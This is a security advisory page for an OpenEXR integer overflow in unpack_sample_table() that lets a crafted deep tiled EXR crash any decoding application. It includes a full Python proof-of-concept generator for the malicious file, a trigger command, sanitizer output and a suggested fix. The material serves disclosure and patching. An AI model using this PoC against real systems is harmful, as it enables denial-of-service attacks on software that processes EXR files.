GHSA-rqp5-pmwm-wj6x on CTRL-OS 26.05
Aliases: GHSA-rqp5-pmwm-wj6x
Packages: openexr
Status: Plausible
Advisory Information
Summary
A signed integer overflow in
decoding.cof the OpenEXR Core C library leads to an out-of-bounds memory access when processing a crafted deep tiled EXR file. The overflow inunpack_sample_table()causes an invalid pointer computation, resulting in a read from an unmapped memory address (SEGV). This was confirmed using the officialexrchecktool with AddressSanitizer (ASAN), and the root cause was independently verified with UndefinedBehaviorSanitizer (UBSan). The crash occurs in the OpenEXRCore library code path (exr_decoding_run), which is the standard decoding API — any application that decodes deep tiled EXR files is affected.Affected Version
- OpenEXR main branch, commit
7f3ffb87e55e879f62024a06a3d633825628a606- All versions using the C Core library (
OpenEXRCore) withunpack_sample_tableSeverity
Medium — Denial of Service via crafted file input
Root Cause
In
src/lib/OpenEXRCore/decoding.c, the functionunpack_sample_table()usesint32_tarithmetic for buffer indexing:// decoding.c:218-219 int32_t w = decode->chunk.width; int32_t h = decode->chunk.height; // decoding.c:249-251 for (int32_t y = 0; y < h; ++y) { int32_t* cursampline = samptable + y * w; // int32 overflowThe buffer is correctly allocated using 64-bit arithmetic:
// decoding.c:30 size_t sampsize = (((size_t) decode->chunk.width) * ((size_t) decode->chunk.height));The index computation
y * wusesint32_t * int32_t. Wheny * w > INT32_MAX, this overflows to a negative value, causingcursamplineto point approximately 8 GB before the allocated buffer. Memory access at this address causes SEGV.The same pattern also exists at lines 231 and 245.
Trigger Conditions
- A deep tiled EXR file with tile dimensions where
width * (height - 1) > INT32_MAX(e.g., 46342 × 46342)- Default
max_image_sizeis 0 (unlimited) — header validation does not block this- System must have sufficient memory (~8.6 GB) for the sample count table allocation — standard in VFX production environments
Impact
- CWE-190: Integer Overflow or Wraparound
- CWE-125: Out-of-bounds Read
- Denial of Service: Any application using OpenEXR to decode the crafted file will crash
- The crash occurs in the library's public API path (
exr_decoding_run), not in application-specific codeReproduction
Environment
- Ubuntu 24.04 (WSL2), 30 GB RAM
- Clang with AddressSanitizer / UndefinedBehaviorSanitizer
- OpenEXR built from source using official CMake
Step 1: Build OpenEXR with ASAN
git clone --depth 1 https://github.com/AcademySoftwareFoundation/openexr.git cd openexr && mkdir build && cd build cmake .. \ -DCMAKE_C_COMPILER=clang \ -DCMAKE_CXX_COMPILER=clang++ \ -DCMAKE_C_FLAGS="-g -O1 -fsanitize=address" \ -DCMAKE_CXX_FLAGS="-g -O1 -fsanitize=address" \ -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \ -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" \ -DBUILD_TESTING=OFF \ -DOPENEXR_BUILD_TOOLS=ON \ -DOPENEXR_FORCE_INTERNAL_IMATH=ON make -j$(nproc) exrcheckStep 2: Generate PoC file
The following script generates an 8.6 GB deep tiled EXR file (tile 46342×46342, NONE compression, all-zero sample counts):
#!/usr/bin/env python3 import struct, os TILE = 46342 SAMPSIZE = TILE * TILE * 4 def u32(v): return struct.pack('<I', v & 0xFFFFFFFF) def i32(v): return struct.pack('<i', v) def i64(v): return struct.pack('<q', v) def attr(f, name, tname, data): f.write(name.encode() + b'\x00' + tname.encode() + b'\x00' + u32(len(data)) + data) with open('poc.exr', 'wb') as f: f.write(u32(20000630) + u32(2 | 0x0400 | 0x0800 | 0x1000)) cd = (b'Z\x00' + u32(2) + b'\x01\x00\x00\x00' + u32(1) + u32(1) + b'\x00') attr(f, 'channels', 'chlist', cd) attr(f, 'compression', 'compression', b'\x00') dw = struct.pack('<iiii', 0, 0, TILE-1, TILE-1) attr(f, 'dataWindow', 'box2i', dw) attr(f, 'displayWindow', 'box2i', dw) attr(f, 'lineOrder', 'lineOrder', b'\x00') attr(f, 'pixelAspectRatio', 'float', struct.pack('<f', 1.0)) attr(f, 'screenWindowCenter', 'v2f', struct.pack('<ff', 0.0, 0.0)) attr(f, 'screenWindowWidth', 'float', struct.pack('<f', 1.0)) attr(f, 'tiles', 'tiledesc', struct.pack('<IIB', TILE, TILE, 0)) attr(f, 'type', 'string', b'deeptile') attr(f, 'name', 'string', b'rgba') f.write(b'\x00\x00') off_pos = f.tell() f.write(i64(0)) chunk = f.tell() f.seek(off_pos) f.write(i64(chunk)) f.seek(chunk) for _ in range(5): f.write(i32(0)) f.write(i64(SAMPSIZE) + i64(0) + i64(0)) z = b'\x00' * (64 * 1024 * 1024) r = SAMPSIZE while r > 0: n = min(len(z), r) f.write(z[:n]) r -= nStep 3: Trigger the crash
ASAN_OPTIONS=detect_leaks=0 ./build/bin/exrcheck -c poc.exrASAN Output (crash)
================================================================= ==9124==ERROR: AddressSanitizer: SEGV on unknown address 0x7ee6a28a405c (pc 0x7eeaa55659ab bp 0x7ee8a289f800 sp 0x7ffcc9ef86a0 T0) ==9124==The signal is caused by a READ memory access. #0 realloc_deepdata ImfCheckFile.cpp:1304 #1 exr_decoding_run decoding.c:654 #2 readCoreTiledPart ImfCheckFile.cpp:1635 #3 checkCoreFile ImfCheckFile.cpp:1680 #4 runCoreChecks ImfCheckFile.cpp:1734 #5 checkOpenEXRFile ImfCheckFile.cpp:1833 #6 main exrcheck/main.cpp:166 AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV ImfCheckFile.cpp:1304 in realloc_deepdata ==9124==ABORTINGUBSan Output (root cause)
Building with
-fsanitize=signed-integer-overflow -fno-sanitize-recover=allinstead of-fsanitize=address:decoding.c:251:50: runtime error: signed integer overflow: 46340 * 46342 cannot be represented in type 'int' SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior src/lib/OpenEXRCore/decoding.c:251:50Suggested Fix
Replace
int32_tarithmetic withint64_tfor index computations:// Before (vulnerable): int32_t* cursampline = samptable + y * w; // After (fixed): int32_t* cursampline = samptable + (int64_t)y * (int64_t)w;Apply the same fix at lines 231 and 245.
Additionally, consider validating deep tile/image dimensions against
INT32_MAXduring header parsing whenmax_image_sizeis unset.
Updates
2026-08-11 03:51 CEST
Metadata changes:
- Status for package
openexr: “Plausible”
2026-08-11 03:30 CEST
Metadata changes:
- Status for package
openexr: “New”